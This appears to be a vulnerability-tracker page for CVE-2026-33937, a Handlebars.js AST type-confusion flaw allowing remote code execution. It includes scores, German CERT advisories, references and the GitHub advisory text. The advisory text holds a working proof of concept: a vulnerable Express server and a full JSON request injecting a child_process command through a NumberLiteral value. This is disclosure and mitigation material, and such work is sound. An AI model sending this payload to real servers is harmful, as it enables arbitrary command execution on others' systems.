CVE-2026-33937
criticalpriority · track · 11EPSS 0.019 · 80 %ileexploit · PoCDEEURUUSEPSS · scored 2026-10-27
Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, `Handlebars.compile()` accepts a pre-parsed AST object in addition to a template string. The `value` field of a `NumberLiteral` AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to `compile()` can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server. Version 4.7.9 fixes the issue. Some workarounds are available. Validate input type before calling `Handlebars.compile()`; ensure the argument is always a `string`, never a plain object or JSON-deserialized value. Use the Handlebars runtime-only build (`handlebars/runtime`) on the server if templates are pre-compiled at build time; `compile()` will be unavailable.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
exploits (4)
Public proof-of-concept and weaponised exploit code.
- garlic-wizard/CVE-2026-33937-for-DarkZeroReturnsthis is a poc for CVE-2026-33937 PoC · poc_in_github
affected products (12)
Products and version ranges known to be affected.
advisories (3)
Vendor and ecosystem advisories describing this.
- WID-SEC-W-2026-1434IBM App Connect Enterprise Certified Container: Mehrere SchwachstellenDeutsch2026-05-07csaf · cert_bundDE
Ein Angreifer kann mehrere Schwachstellen in IBM App Connect Enterprise Certified Container ausnutzen, um beliebigen Programmcode auszuführen, vertrauliche Informationen offenzulegen, einen Denial-of-Service-Zustand zu verursachen oder Cross-Site-Scripting-Angriffe durchzuführen.
- WID-SEC-W-2026-3655IBM InfoSphere Data Replication: Mehrere SchwachstellenDeutsch2026-09-29csaf · cert_bundDE
Ein Angreifer kann mehrere Schwachstellen in IBM InfoSphere Data Replication ausnutzen, um beliebigen Programmcode auszuführen, um einen Denial of Service Angriff durchzuführen und um einen Cross-Site Scripting Angriff durchzuführen.
- GHSA-2w6w-674q-4c4qHandlebars.js has JavaScript Injection via AST Type Confusion2026-03-27ghsa · osvUS
## Summary `Handlebars.compile()` accepts a pre-parsed AST object in addition to a template string. The `value` field of a `NumberLiteral` AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to `compile()` can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server. ## Description `Handlebars.compile()` accepts either a template string or a pre-parsed AST. When an AST is supplied, the JavaScript code generator in `lib/handlebars/compiler/javascript-compiler.js` emits `NumberLiteral` values verbatim: ```javascript // Simplified representation of the vulnerable code path: // NumberLiteral.value is appended to the generated code without escaping compiledCode += numberLiteralNode.value; ``` Because the value is not wrapped in quotes or otherwise sanitized, passing a string such as `{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //` as the `value` of a `NumberLiteral` causes the generated `eval`-ed code to break out of its intended context and execute arbitrary commands. Any endpoint that deserializes user-controlled JSON and passes the result directly to `Handlebars.compile()` is exploitable. ## Proof of Concept Server-side Express application that passes `req.body.text` to `Handlebars.compile()`: ```Javascript import express from "express"; import Handlebars from "handlebars"; const app = express(); app.use(express.json()); app.post("/api/render", (req, res) => { let text = req.body.text; let template = Handlebars.compile(text); let result = template(); res.send(result); }); app.listen(2123); ``` ``` POST /api/render HTTP/1.1 Content-Type: application/json Host: 127.0.0.1:2123 { "text": { "type": "Program", "body": [ { "type": "MustacheStatement", "path": { "type": "PathExpression", "data": false, "depth": 0, "parts": ["lookup"], "original": "lookup", "loc": null }, "params": [ { "type": "PathExpression", "data": false, "depth": 0, "parts": [], "original": "this", "loc": null }, { "type": "NumberLiteral", "value": "{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //", "original": 1, "loc": null } ], "escaped": true, "strip": { "open": false, "close": false }, "loc": null } ] } } ``` The response body will contain the output of the `id` command executed on the server. ## Workarounds - **Validate input type** before calling `Handlebars.compile()`: ensure the argument is always a `string`, never a plain object or JSON-deserialized value. ```javascript if (typeof templateInput !== 'string') { throw new TypeError('Template must be a string'); } ``` - Use the Handlebars **runtime-only** build (`handlebars/runtime`) on the server if templates are pre-compiled at build time; `compile()` will be unavailable.
also known as (4)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (15)
External citations — patches, advisories, analysis.
- https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2cnnvd
- https://github.com/handlebars-lang/handlebars.js/releasesPatchcnnvd
- https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9cnnvd
- https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-2w6w-674q-4c4qcnnvd
- https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2enisa_euvd
- https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9enisa_euvd
- https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-2w6w-674q-4c4qenisa_euvd
- https://access.redhat.com/errata/RHSA-2026:10175nvd
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan